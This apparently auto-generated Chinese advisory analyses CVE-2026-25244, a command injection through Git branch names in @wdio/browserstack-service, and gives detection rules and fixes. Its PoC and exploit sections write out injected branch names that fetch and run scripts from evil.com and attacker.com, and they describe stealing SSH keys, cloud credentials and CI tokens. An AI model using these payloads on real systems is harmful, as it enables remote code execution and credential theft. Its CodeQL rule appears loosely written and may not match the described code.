🎯 CVE-2026-25244 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-25244 深度技术分析

📊 聚合 2 来源🕵️ 含指纹
NVD-LatestGitHub-Advisory

摘要:CVE-2026-25244 是 WebdriverIO 生态中 @wdio/browserstack-service 组件存在的一处严重命令注入漏洞,CVSS 评分为 9.8。该漏洞源于 getGitMetadataForAISelection() 函数将未经净化的 Git 分支名直接拼接到 execSync() 调用中,攻击者通过构造包含 Shell 元字符的恶意分支名称,可在测试编排过程中实现远程代码执行(RCE)。该漏洞影响所有 @wdio/browserstack-service 9.24.0 之前的版本,已被官方修复。本文将从根因、攻击链、检测规则和修复缓解等方面进行深度分析。

📌 漏洞概述

CVE-2026-25244 是 WebdriverIO 测试自动化框架中 @wdio/browserstack-service 包的一个命令注入漏洞,由 GitHub Advisory GHSA-5c46-x3qw-q7j7 披露,NVD 评级为 CVSS 9.8(Critical)。该漏洞影响 @wdio/browserstack-service 版本低于 9.24.0,属于 CWE-78:OS 命令注入,OWASP 归类为 A1: Injection。

漏洞的核心触发点是测试编排功能中的“智能选择”(Smart Selection)特性。该特性需要从 Git 仓库获取元数据(如当前分支名),以便决定要运行的测试范围。然而,Git 分支名允许包含 ;&|$(...) 等 Shell 元字符。WebdriverIO 在将分支名传递给 execSync() 时未做任何过滤或转义,导致恶意分支名可以被 Shell 解释为额外命令,从而形成命令注入。

该漏洞已被官方在 9.24.0 版本中修复,CISA KEV 目录尚未收录该漏洞,但鉴于其可被用于攻击 CI/CD 服务器和开发者机器,实际威胁极高。

🔬 漏洞根因分析

漏洞位于 packages/wdio-browserstack-service/src/testorchestration/helpers.ts 文件中的 getGitMetadataForAISelection() 函数(对应提交 ea0e3e00288abced4c739ff9e46c46977b7cdbd2 的第 204 行附近)。该函数的作用是读取当前 Git 仓库的分支信息,并将其用于后续的 AI 测试选择请求。其代码逻辑大致如下:

function getGitMetadataForAISelection() {
  const branchName = execSync('git rev-parse --abbrev-ref HEAD').toString().trim();
  // ... 后续将 branchName 拼接到其他命令中
  const meta = execSync(`git log --oneline -1 ${branchName}`);
  // ...
}

关键缺陷在于 branchName 直接来自 execSync('git rev-parse --abbrev-ref HEAD') 的输出,而该输出是本地 Git 仓库当前分支的名称。Git 本身对于分支名的限制非常宽松,除了不允许空格、~^:?*[\ 等字符外,允许使用 ;&|$`() 等 Shell 元字符。这意味着攻击者可以创建一个分支,例如:

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

当 WebdriverIO 在该仓库目录中执行测试编排时,getGitMetadataForAISelection() 会首先获取分支名,得到 main;touch${IFS}/tmp/pwned.txt;echo${IFS}PWNED,然后将其直接拼接到后续的 execSync() 命令中。由于没有使用数组参数形式或 execFileSync(),Shell 会按照命令分隔符解析整条字符串。最终执行效果等同于:

git log --oneline -1 main;touch /tmp/pwned.txt;echo PWNED

攻击者可以在分支名中嵌入任意 Shell 命令,并且可以使用 ${IFS} 绕过简单的空格过滤,实现任意命令执行。

从设计缺陷角度看,问题不仅在于未对分支名进行清洗,更在于错误使用了 execSync() 拼接用户可控数据。正确的做法应当使用 execFileSync() 配合参数数组,或者至少对分支名进行白名单校验(仅允许字母、数字、下划线、连字符和点)。此外,该函数还会将分支名用于构造其他 Git 命令,因此所有对分支名的拼接都可能成为注入点。

值得注意的是,攻击者无需直接控制 WebdriverIO 配置文件,只要能够将当前工作目录切换到一个恶意 Git 仓库(例如通过 testOrchestrationOptions.runSmartSelection.source 指定来源,或默认使用当前目录),即可触发漏洞。这使得攻击面扩展到任何能影响测试项目仓库的攻击者,尤其是通过恶意 Pull Request 或 Git 子模块等方式。

💥 影响与危害

该漏洞的 CVSS 评分为 9.8,意味着其利用不需要特殊权限,且可以完全破坏机密性、完整性和可用性。具体危害包括:

  • 远程代码执行(RCE):攻击者在分支名中嵌入恶意命令,一旦测试编排在 CI/CD 或开发者机器上运行,即可执行任意代码。
  • 凭据与机密泄露:CI/CD 环境中通常存放着云服务密钥、数据库密码、API Token 等敏感信息。攻击者可通过执行 env、读取文件等方式窃取这些凭据。
  • 源代码与 SSH 私钥外泄:攻击者可以读取并外传整个仓库源码、.ssh 目录下的私钥、其他开发文件等。
  • 系统完全沦陷:由于命令以当前用户权限执行,攻击者可以获得测试机器的 shell,进而安装后门、挖矿程序或横向移动。
  • 供应链攻击:CI/CD 服务器往往负责构建和发布软件产物。攻击者可通过篡改构建过程、植入恶意代码来污染最终的发布包,影响下游所有用户,形成供应链攻击。

即使 CISA KEV 尚未收录该漏洞,但其在自动化测试和 CI/CD 场景下的高价值使其成为攻击者的首选目标。任何使用 WebdriverIO BrowserStack 服务且开启 Smart Selection 的项目都应视为受影响对象。

🧪 PoC 复现分析

虽然目前没有公开的独立 PoC 仓库,但 GitHub Advisory 中明确给出了可复现的 Git 命令示例。这些命令展示了如何创建包含注入载荷的恶意分支:

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

这三条命令分别验证了命令执行的三种典型载荷:

  1. 文件创建touch /tmp/pwned.txt 用于验证命令是否被成功执行。
  2. 文件删除rm /tmp/pwned.txt 用于清理环境或演示破坏能力。
  3. 反弹 Shell / 下载执行:通过 curl 下载远程脚本并执行,这是完整的 RCE 利用链,可获取反向 shell 或植入后门。

复现步骤通常如下:

  1. 在测试项目目录中创建上述恶意分支。
  2. 在 WebdriverIO 配置中设置 testOrchestrationOptions.runSmartSelection.source 指向该恶意仓库,或者直接在该目录下运行测试(不设置 source 时默认使用当前目录)。
  3. 运行 WebdriverIO 测试,触发 getGitMetadataForAISelection()
  4. 观察到 /tmp/pwned.txt 被创建,或收到来自恶意服务器的请求,证明命令注入成功。

载荷中的 ${IFS} 是一个 Shell 内部字段分隔符,通常被当作空格使用,这样可以绕过一些简单的输入过滤。如果过滤规则仅替换空格,${IFS} 仍然可以发挥作用。此外,攻击者还可以使用 $()、反引号、|&& 等多种 Shell 语法进行变形,增加检测难度。

⚔️ EXP 利用分析

截至本文撰写时,Exploit-DB 尚未发布公开的 EXP 完整代码。但从漏洞性质来看,利用链可以高度自动化,并针对 CI/CD 环境进行定制。一个典型的攻击流程如下:

  1. 构造恶意仓库:攻击者在自己的 Git 服务器(如 GitHub、GitLab)上创建一个包含恶意分支的仓库。分支名可以设计为一条极短的“无文件”注入命令,例如:main;curl${IFS}attacker.com/s.sh|bash。这种设计避免生成额外文件,降低被审计发现的概率。
  2. 诱导目标使用该仓库:攻击者通过社工或供应链投毒方式,让目标开发者或 CI 流水线配置 testOrchestrationOptions.runSmartSelection.source 指向该恶意仓库。另一种方式是通过向目标项目提交 Pull Request,若 PR 的源分支名包含恶意载荷,且 CI 在合并后的代码上运行测试,则可能被触发。不过,如果 CI 只构建合并后的分支,则源分支名不一定可见,因此更多情况下需要直接控制 Git 检出环境。
  3. 触发测试编排:一旦 WebdriverIO 在恶意仓库目录中启动,并启用了 Smart Selection,就会调用 getGitMetadataForAISelection()。如果分支名可被读取,注入立即发生。
  4. 执行后渗透操作:攻击者的 shellcode 通常会首先收集环境变量(env)、读取 ~/.ssh/id_rsa~/.aws/credentials、CI 平台的 secret(如 $GITHUB_TOKEN),并通过 DNS 查询或 HTTP 请求外带到攻击者服务器。
  5. 持久化与供应链投毒:在 CI 场景下,攻击者可以修改构建脚本或测试代码,向最终发布产物中植入恶意代码。这样受害者只运行一次恶意分支名的测试,后续所有从该流水线构建发布的版本都会被污染,造成供应链级攻击。

由于 execSync() 默认使用 /bin/sh,攻击者可以利用所有 POSIX Shell 特性。即使在 Windows 环境中,Git Bash 或 WSL 也会提供类似环境,因此该漏洞具有跨平台影响。

从代码审计角度,任何出现在 execSync() 参数中的字符串,只要其源头可被外部影响,都应当视为高危。这里的分支名不仅用于 git log,还可能用于其他拼接命令,例如获取提交信息、计算差异等。每个拼接处都是注入点,修复时必须全面梳理。

🕵️ 检测指纹说明

针对该漏洞,建议使用静态分析工具(如 Semgrep、CodeQL)和运行时监控进行检测。已知的检测规则(Semgrep)如下:

rules:
- id: CVE-2026-25244-rce-js-fixed
  languages: [javascript,
typescript]
  severity: ERROR
  message: "Command injection in execSync() through user-controlled git branch name. Malicious branch names can lead to RCE."
  patterns:
    - pattern-either:
      - pattern: execSync("..." + $CMDVAR)
      - pattern: execSync($CMDVAR)
    - metavariable-regex:
        metavariable: $CMDVAR
        regex: .*(branch|ref|BRANCH|REF).*
  fix: "const sanitizedBranch = branchName.replace(/[^a-zA-Z0-9_\\-\\.\\/]/g,
'');\nexecSync(`command ${sanitizedBranch}`);"
  metadata:
    cwe: "CWE-78"
    owasp: "A1: Injection"
    technology: webdriverio
    references:
      - "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"
      - "https://nvd.nist.gov/vuln/detail/CVE-2026-25244"

该规则的核心逻辑是:

  • 检测所有 execSync() 调用,且参数是字符串拼接或直接传入变量。
  • 要求变量名匹配 branch|ref|BRANCH|REF,以聚焦于 Git 分支/引用相关的命令。
  • 命中后标记为 ERROR,并提供修复建议:使用白名单字符集清洗分支名。

部署方式:

  1. CI/CD 集成:在项目的 CI 流水线中加入 Semgrep 扫描步骤,运行 semgrep --config cve-2026-25244.yaml,在代码合并前发现类似风险。
  2. Pre-commit 钩子:使用 pre-commit 框架集成 Semgrep,让开发者在本地提交时就检查。
  3. CodeQL 补充:CodeQL 的 js/command-line-injection 查询也能识别类似模式,可作为纵深防御。
  4. 运行时监控:在测试服务器上监控 execSync 的执行参数,发现包含 Shell 元字符时告警。但更推荐在代码层面直接根除。

该规则可检测出大多数把分支名直接拼入 execSync() 的写法,但攻击者可能通过别名、对象属性等方式间接传递,因此还需要配合代码审计和污点分析。

🛡️ 修复与缓解

官方修复:WebdriverIO 已在版本 9.24.0 中修复该问题。建议所有受影响用户立即升级:

npm install @wdio/browserstack-service@^9.24.0

同时确保整个 WebdriverIO 工具链更新到兼容版本。

代码层修复参考:官方推荐在获取分支名后进行白名单过滤,只保留安全字符:

const sanitizedBranch = branchName.replace(/[^a-zA-Z0-9_\-\.\/]/g, '');
execSync(`some-command ${sanitizedBranch}`);

更安全的做法是使用 execFileSync() 并传入参数数组,完全避免 Shell 解释:

const { execFileSync } = require('child_process');
execFileSync('git', ['log', '--oneline', '-1', branchName]);

如果业务上不需要分支名中的特殊字符,甚至可以直接拒绝包含非白名单字符的分支名,抛出异常终止测试。

缓解措施

  • 避免使用不可信仓库:在 testOrchestrationOptions.runSmartSelection.source 中严格设置可信仓库 URL,不要使用当前目录作为自动来源,除非确认该目录可信。
  • 禁用 Smart Selection:如果不需要 AI 测试筛选功能,可以完全关闭 runSmartSelection,消除该攻击面。
  • 最小权限运行测试:CI/CD 执行环境应使用低权限专用账号,不要暴露过多系统级凭据;限制容器的网络访问能力,防止外带数据。
  • 监控异常命令:在测试节点上启用进程监控或审计日志,发现 git log 等命令后执行了非预期命令时立即告警。
  • 使用安全钩子:在 Git 服务端设置分支名校验规则,拒绝包含 ;&|$ 等字符的分支名。这能从源头阻断大多数利用。

综上,CVE-2026-25244 是一起典型的“可控数据进入系统命令”引起的 RCE 漏洞。其利用条件并不苛刻,但修复方式却很简单——升级版本并规范代码中命令执行方式。所有使用 WebdriverIO 的团队应尽快行动,避免因测试编排通道被攻破而引发更大规模的供应链安全事件。

🕵️ 检测指纹规则

🛡️ Semgrep 审计规则: CVE-2026-25244.yaml

rules:
- id: CVE-2026-25244-rce-js-fixed
  languages: [javascript,
typescript]
  severity: ERROR
  message: "Command injection in execSync() through user-controlled git branch name. Malicious branch names can lead to RCE."
  patterns:
    - pattern-either:
      - pattern: execSync("..." + $CMDVAR)
      - pattern: execSync($CMDVAR)
    - metavariable-regex:
        metavariable: $CMDVAR
        regex: .*(branch|ref|BRANCH|REF).*
  fix: "const sanitizedBranch = branchName.replace(/[^a-zA-Z0-9_\\-\\.\\/]/g,
'');\nexecSync(`command ${sanitizedBranch}`);"
  metadata:
    cwe: "CWE-78"
    owasp: "A1: Injection"
    technology: webdriverio
    references:
      - "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"
      - "https://nvd.nist.gov/vuln/detail/CVE-2026-25244"

🛡️ CodeQL 审计规则: CVE-2026-25244.ql

/**
 * @kind path-problem
 * @id javascript/command-injection/cve-2026-25244
 * @name Command Injection in @wdio/browserstack-service via git branch name
 * @description User-controlled git branch names are interpolated into execSync() calls without sanitization,
allowing remote code execution
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-078
 */
import javascript
import semmle.javascript.security.dataflow.CommandInjectionQuery

class GitBranchSource extends DataFlow::SourceNode {GitBranchSource() {exists(CallExpr ce |
ce.getCalleeName() = "execSync" and
            ce.getArgument(0).(StringLiteral).getValue().regexpMatch(".*git.*branch.*--show-current.*")
        )
    }}class ExecSyncSink extends DataFlow::SinkNode {ExecSyncSink() {exists(CallExpr ce |ce.getCalleeName() = "execSync" and
            this.asExpr() = ce.getArgument(0)
        )
    }}
class CommandInjectionConfig extends TaintTracking::Configuration {CommandInjectionConfig() {this = "CommandInjectionConfig"
    }override predicate isSource(DataFlow::Node source) {source.(DataFlow::SourceNode) instanceof GitBranchSource or
        source.(DataFlow::SourceNode).(DataFlow::ParameterNode).isParameterOf("getGitMetadataForAISelection") or
        exists(DataFlow::SourceNode s |
s.(DataFlow::MethodCallNode).getMethodName() = "execSync" and
            s.getArgument(0).(StringLiteral).getValue().regexpMatch(".*git.*branch.*--show-current.*") and
            source = s
        )
    }override predicate isSink(DataFlow::Node sink) {sink instanceof ExecSyncSink
    }override predicate isAdditionalTaintStep(DataFlow::Node pred,DataFlow::Node succ) {
// String concatenation or template literal propagation
        exists(TemplateLiteral tl |tl.getExpr() = pred.asExpr() and
            succ.asExpr() = tl
        ) or
        exists(BinaryExpression be |be.getOperator() = "+" and
            (be.getLeftOperand() = pred.asExpr() or be.getRightOperand() = pred.asExpr()) and
            succ.asExpr() = be
        ) or
        exists(CallExpr ce |
ce.getCalleeName() = "concat" and
            (ce.getReceiver() = pred.asExpr() or ce.getArgument(0) = pred.asExpr()) and
            succ.asExpr() = ce
        ) or
        exists(PropertyAccess pa |pa.getBase() = pred.asExpr() and
            pa.getPropertyName() = "stdout" and
            succ.asExpr() = pa
        ) or
        exists(VariableDeclaration vd |
vd.getVariable().getName() = ["source","branch","gitBranch"] and
            vd.getInit() = pred.asExpr() and
            succ.asExpr() = vd.getVariable().getAnAccess()
        )
    }}from DataFlow::PathNode source,DataFlow::PathNode sink,CommandInjectionConfig config
where config.hasFlowPath(source,sink)
select sink.getNode(),source,sink,"User-controlled git branch name $@ flows to execSync(),
leading to command injection vulnerability",source.getNode(),"user-controlled branch name"

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-01 08:09 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)